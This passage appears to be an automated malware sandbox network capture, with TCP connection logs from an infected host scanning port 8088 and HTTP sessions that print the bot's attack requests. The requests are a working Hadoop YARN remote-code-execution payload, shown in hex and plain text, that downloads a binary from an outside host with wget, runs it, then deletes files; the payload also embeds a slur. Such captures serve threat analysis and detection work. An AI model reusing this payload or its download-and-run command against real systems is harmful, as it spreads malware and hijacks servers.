Sep 12, 2024 00:39:25.336834908 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:25.545557022 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:25.889390945 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:26.497301102 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:26.561415911 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:26.903359890 CEST	35692	8088	192.168.2.23	116.61.241.191
Sep 12, 2024 00:39:27.841167927 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:27.905128956 CEST	35692	8088	192.168.2.23	116.61.241.191
Sep 12, 2024 00:39:28.577126980 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:28.634602070 CEST	38241	54024	93.123.85.166	192.168.2.23
Sep 12, 2024 00:39:28.634730101 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:28.636200905 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:28.667994022 CEST	8088	42478	31.240.32.116	192.168.2.23
Sep 12, 2024 00:39:28.668071032 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:28.901025057 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:29.188966036 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:29.572894096 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:29.659954071 CEST	38241	54024	93.123.85.166	192.168.2.23
Sep 12, 2024 00:39:29.660103083 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:29.728915930 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:29.907383919 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:30.784756899 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:30.912704945 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:30.948200941 CEST	8088	53396	22.172.178.76	192.168.2.23
Sep 12, 2024 00:39:30.948379040 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:30.992887020 CEST	8088	53396	22.172.178.76	192.168.2.23
Sep 12, 2024 00:39:30.996745110 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:31.244113922 CEST	8088	53396	22.172.178.76	192.168.2.23
Sep 12, 2024 00:39:31.244252920 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:31.672059059 CEST	38241	54024	93.123.85.166	192.168.2.23
Sep 12, 2024 00:39:31.672267914 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:31.872603893 CEST	42478	8088	192.168.2.23	31.240.32.116
Sep 12, 2024 00:39:31.908624887 CEST	8088	42478	31.240.32.116	192.168.2.23
Sep 12, 2024 00:39:32.896522045 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:32.909390926 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:32.910007954 CEST	50658	8088	192.168.2.23	49.179.51.163
Sep 12, 2024 00:39:32.944953918 CEST	8088	50658	49.179.51.163	192.168.2.23
Sep 12, 2024 00:39:32.945055962 CEST	50658	8088	192.168.2.23	49.179.51.163
Sep 12, 2024 00:39:33.148457050 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:33.388477087 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:33.888374090 CEST	53396	8088	192.168.2.23	22.172.178.76
Sep 12, 2024 00:39:33.929534912 CEST	8088	53396	22.172.178.76	192.168.2.23
Sep 12, 2024 00:39:33.975969076 CEST	8088	50658	49.179.51.163	192.168.2.23
Sep 12, 2024 00:39:33.976108074 CEST	50658	8088	192.168.2.23	49.179.51.163
Sep 12, 2024 00:39:35.832190990 CEST	38241	54024	93.123.85.166	192.168.2.23
Sep 12, 2024 00:39:35.832285881 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:35.911643028 CEST	50658	8088	192.168.2.23	49.179.51.163
Sep 12, 2024 00:39:35.912122011 CEST	40366	8088	192.168.2.23	190.32.31.149
Sep 12, 2024 00:39:35.953685999 CEST	8088	50658	49.179.51.163	192.168.2.23
Sep 12, 2024 00:39:35.955410957 CEST	8088	50658	49.179.51.163	192.168.2.23
Sep 12, 2024 00:39:36.931956053 CEST	40366	8088	192.168.2.23	190.32.31.149
Sep 12, 2024 00:39:37.247912884 CEST	54024	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:37.282248974 CEST	38241	54024	93.123.85.166	192.168.2.23
Sep 12, 2024 00:39:37.283365965 CEST	38241	54024	93.123.85.166	192.168.2.23
Sep 12, 2024 00:39:38.286055088 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:38.914746046 CEST	35900	8088	192.168.2.23	155.39.86.162
Sep 12, 2024 00:39:39.295600891 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:39.935564995 CEST	35900	8088	192.168.2.23	155.39.86.162
Sep 12, 2024 00:39:41.311439991 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:41.360488892 CEST	38241	33910	45.202.35.64	192.168.2.23
Sep 12, 2024 00:39:41.360673904 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:41.361756086 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:41.615292072 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:41.871285915 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:41.917399883 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:41.960300922 CEST	8088	60474	219.253.93.123	192.168.2.23
Sep 12, 2024 00:39:41.960383892 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:42.396086931 CEST	38241	33910	45.202.35.64	192.168.2.23
Sep 12, 2024 00:39:42.396152973 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:42.399158001 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:42.454181910 CEST	38241	33910	45.202.35.64	192.168.2.23
Sep 12, 2024 00:39:42.454293013 CEST	33910	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:39:42.501173019 CEST	38241	33910	45.202.35.64	192.168.2.23
Sep 12, 2024 00:39:42.972012997 CEST	8088	60474	219.253.93.123	192.168.2.23
Sep 12, 2024 00:39:42.972104073 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:43.456603050 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:43.497811079 CEST	38241	44264	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:43.497901917 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:43.541707039 CEST	38241	44264	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:43.543006897 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:43.788060904 CEST	38241	44264	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:43.788152933 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:43.903008938 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:39:44.919136047 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:44.919845104 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:44.980887890 CEST	8088	57430	186.99.201.69	192.168.2.23
Sep 12, 2024 00:39:44.980977058 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:44.984040022 CEST	8088	60474	219.253.93.123	192.168.2.23
Sep 12, 2024 00:39:44.984108925 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:45.034754992 CEST	8088	57430	186.99.201.69	192.168.2.23
Sep 12, 2024 00:39:45.041007042 CEST	8088	60474	219.253.93.123	192.168.2.23
Sep 12, 2024 00:39:45.042821884 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:45.042821884 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:45.166800022 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:45.414783955 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:45.460468054 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:45.460505009 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:45.558753967 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:45.806740999 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:45.922692060 CEST	60474	8088	192.168.2.23	219.253.93.123
Sep 12, 2024 00:39:45.979192019 CEST	8088	60474	219.253.93.123	192.168.2.23
Sep 12, 2024 00:39:46.302670002 CEST	44264	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:46.341799974 CEST	38241	44264	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:46.462430954 CEST	59598	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:47.486546993 CEST	59598	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:47.921823025 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:47.922518015 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:48.194422960 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:48.478420973 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:48.927433968 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:48.975482941 CEST	8088	56838	109.161.191.41	192.168.2.23
Sep 12, 2024 00:39:48.975569010 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:49.022335052 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:49.022898912 CEST	8088	56838	109.161.191.41	192.168.2.23
Sep 12, 2024 00:39:49.026355982 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:49.272150993 CEST	8088	56838	109.161.191.41	192.168.2.23
Sep 12, 2024 00:39:49.272305012 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:49.502351046 CEST	59598	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:49.524178028 CEST	8088	56838	109.161.191.41	192.168.2.23
Sep 12, 2024 00:39:49.524281025 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:50.110136986 CEST	57430	8088	192.168.2.23	186.99.201.69
Sep 12, 2024 00:39:50.159395933 CEST	8088	57430	186.99.201.69	192.168.2.23
Sep 12, 2024 00:39:50.924696922 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:50.925437927 CEST	40538	8088	192.168.2.23	62.49.198.58
Sep 12, 2024 00:39:50.965230942 CEST	8088	40538	62.49.198.58	192.168.2.23
Sep 12, 2024 00:39:50.965468884 CEST	40538	8088	192.168.2.23	62.49.198.58
Sep 12, 2024 00:39:51.198333025 CEST	56838	8088	192.168.2.23	109.161.191.41
Sep 12, 2024 00:39:51.237735033 CEST	8088	56838	109.161.191.41	192.168.2.23
Sep 12, 2024 00:39:51.993093014 CEST	8088	40538	62.49.198.58	192.168.2.23
Sep 12, 2024 00:39:51.993156910 CEST	40538	8088	192.168.2.23	62.49.198.58
Sep 12, 2024 00:39:52.050986052 CEST	8088	40538	62.49.198.58	192.168.2.23
Sep 12, 2024 00:39:52.053915024 CEST	40538	8088	192.168.2.23	62.49.198.58
Sep 12, 2024 00:39:53.629698992 CEST	59598	38241	192.168.2.23	91.92.246.113
Sep 12, 2024 00:39:53.927592039 CEST	40538	8088	192.168.2.23	62.49.198.58
Sep 12, 2024 00:39:53.928571939 CEST	36662	8088	192.168.2.23	152.160.225.174
Sep 12, 2024 00:39:53.972052097 CEST	8088	40538	62.49.198.58	192.168.2.23
Sep 12, 2024 00:39:54.012180090 CEST	38241	44202	154.216.17.220	192.168.2.23
Sep 12, 2024 00:39:54.012326956 CEST	44202	38241	192.168.2.23	154.216.17.220
Sep 12, 2024 00:39:54.941621065 CEST	36662	8088	192.168.2.23	152.160.225.174
Sep 12, 2024 00:39:56.931658983 CEST	47320	8088	192.168.2.23	77.210.59.160
Sep 12, 2024 00:39:57.949141026 CEST	47320	8088	192.168.2.23	77.210.59.160
Sep 12, 2024 00:39:57.992328882 CEST	8088	47320	77.210.59.160	192.168.2.23
Sep 12, 2024 00:39:57.992537022 CEST	47320	8088	192.168.2.23	77.210.59.160
Sep 12, 2024 00:39:59.004038095 CEST	8088	47320	77.210.59.160	192.168.2.23
Sep 12, 2024 00:39:59.007869959 CEST	47320	8088	192.168.2.23	77.210.59.160
Sep 12, 2024 00:39:59.042926073 CEST	8088	47320	77.210.59.160	192.168.2.23
Sep 12, 2024 00:39:59.051862001 CEST	47320	8088	192.168.2.23	77.210.59.160
Sep 12, 2024 00:39:59.478899002 CEST	54054	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:39:59.935394049 CEST	47320	8088	192.168.2.23	77.210.59.160
Sep 12, 2024 00:39:59.941798925 CEST	49788	8088	192.168.2.23	154.59.31.127
Sep 12, 2024 00:39:59.974836111 CEST	8088	47320	77.210.59.160	192.168.2.23
Sep 12, 2024 00:40:00.512759924 CEST	54054	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:40:00.956736088 CEST	49788	8088	192.168.2.23	154.59.31.127
Sep 12, 2024 00:40:02.524882078 CEST	54054	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:40:02.946757078 CEST	52860	8088	192.168.2.23	129.177.89.220
Sep 12, 2024 00:40:03.964293957 CEST	52860	8088	192.168.2.23	129.177.89.220
Sep 12, 2024 00:40:05.969912052 CEST	41466	8088	192.168.2.23	253.185.142.162
Sep 12, 2024 00:40:06.683912039 CEST	54054	38241	192.168.2.23	93.123.85.166
Sep 12, 2024 00:40:06.971901894 CEST	41466	8088	192.168.2.23	253.185.142.162
Sep 12, 2024 00:40:08.976659060 CEST	39406	8088	192.168.2.23	137.226.163.11
Sep 12, 2024 00:40:09.979487896 CEST	39406	8088	192.168.2.23	137.226.163.11
Sep 12, 2024 00:40:11.978724003 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:12.026078939 CEST	8088	58336	140.203.230.141	192.168.2.23
Sep 12, 2024 00:40:12.026176929 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:12.489370108 CEST	33942	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:40:13.048275948 CEST	8088	58336	140.203.230.141	192.168.2.23
Sep 12, 2024 00:40:13.048362017 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:13.498986006 CEST	33942	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:40:14.979958057 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:14.980564117 CEST	44080	8088	192.168.2.23	8.182.34.156
Sep 12, 2024 00:40:15.230771065 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:15.482733965 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:15.514872074 CEST	33942	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:40:15.994682074 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:15.994712114 CEST	44080	8088	192.168.2.23	8.182.34.156
Sep 12, 2024 00:40:17.018528938 CEST	58336	8088	192.168.2.23	140.203.230.141
Sep 12, 2024 00:40:17.062745094 CEST	8088	58336	140.203.230.141	192.168.2.23
Sep 12, 2024 00:40:17.063687086 CEST	8088	58336	140.203.230.141	192.168.2.23
Sep 12, 2024 00:40:17.982201099 CEST	56504	8088	192.168.2.23	32.181.180.75
Sep 12, 2024 00:40:18.015111923 CEST	8088	56504	32.181.180.75	192.168.2.23
Sep 12, 2024 00:40:18.015187979 CEST	56504	8088	192.168.2.23	32.181.180.75
Sep 12, 2024 00:40:18.059634924 CEST	8088	56504	32.181.180.75	192.168.2.23
Sep 12, 2024 00:40:18.062367916 CEST	56504	8088	192.168.2.23	32.181.180.75
Sep 12, 2024 00:40:18.714324951 CEST	41746	8088	192.168.2.23	254.30.40.98
Sep 12, 2024 00:40:18.751493931 CEST	8088	41746	254.30.40.98	192.168.2.23
Sep 12, 2024 00:40:19.742201090 CEST	33942	38241	192.168.2.23	45.202.35.64
Sep 12, 2024 00:40:20.984736919 CEST	56504	8088	192.168.2.23	32.181.180.75
Sep 12, 2024 00:40:20.985588074 CEST	46996	8088	192.168.2.23	117.161.23.95
Sep 12, 2024 00:40:21.221981049 CEST	56504	8088	192.168.2.23	32.181.180.75
Sep 12, 2024 00:40:21.461941957 CEST	56504	8088	192.168.2.23	32.181.180.75
Sep 12, 2024 00:40:21.514518023 CEST	8088	56504	32.181.180.75	192.168.2.23
Sep 12, 2024 00:40:22.009890079 CEST	46996	8088	192.168.2.23	117.161.23.95

HTTP Request Dependency Graph

133.194.79.118:8088

78.220.79.118:8088

52.160.110.126:8088

138.85.232.54:8088

82.207.23.152:8088

100.179.115.147:8088

103.108.227.184:8088

244.58.211.204:8088

99.17.152.234:8088

199.119.126.228:8088

123.191.93.71:8088

254.41.12.18:8088

213.49.53.56:8088

91.185.226.47:8088

187.125.238.133:8088

33.247.222.246:8088

182.203.244.103:8088

114.142.230.93:8088

208.35.19.171:8088

118.143.223.55:8088

157.173.158.186:8088

61.221.100.106:8088

184.87.98.222:8088

81.209.218.53:8088

197.159.201.249:8088

192.126.40.239:8088

204.235.25.185:8088

254.30.40.98:8088

142.172.118.111:8088

112.144.139.77:8088

94.201.90.86:8088

31.240.32.116:8088

22.172.178.76:8088

49.179.51.163:8088

219.253.93.123:8088

186.99.201.69:8088

109.161.191.41:8088

62.49.198.58:8088

77.210.59.160:8088

140.203.230.141:8088

32.181.180.75:8088

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.23	48330	133.194.79.118	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:36:56.801903009 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 133.194.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:36:57.685198069 CEST	361	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 133.194.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	37102	78.220.79.118	8088

Timestamp	Bytes transferred	Direction	Data
Sep 12, 2024 00:37:08.811273098 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 78.220.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:37:09.687568903 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 78.220.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:37:10.679435015 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 78.220.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:37:12.659198999 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 78.220.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Sep 12, 2024 00:37:16.722628117 CEST	360	OUT	POST /ws/v1/cluster/apps HTTP/1.1 Host: 78.220.79.118:8088 Content-Type: application/json Content-Length: 232 Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
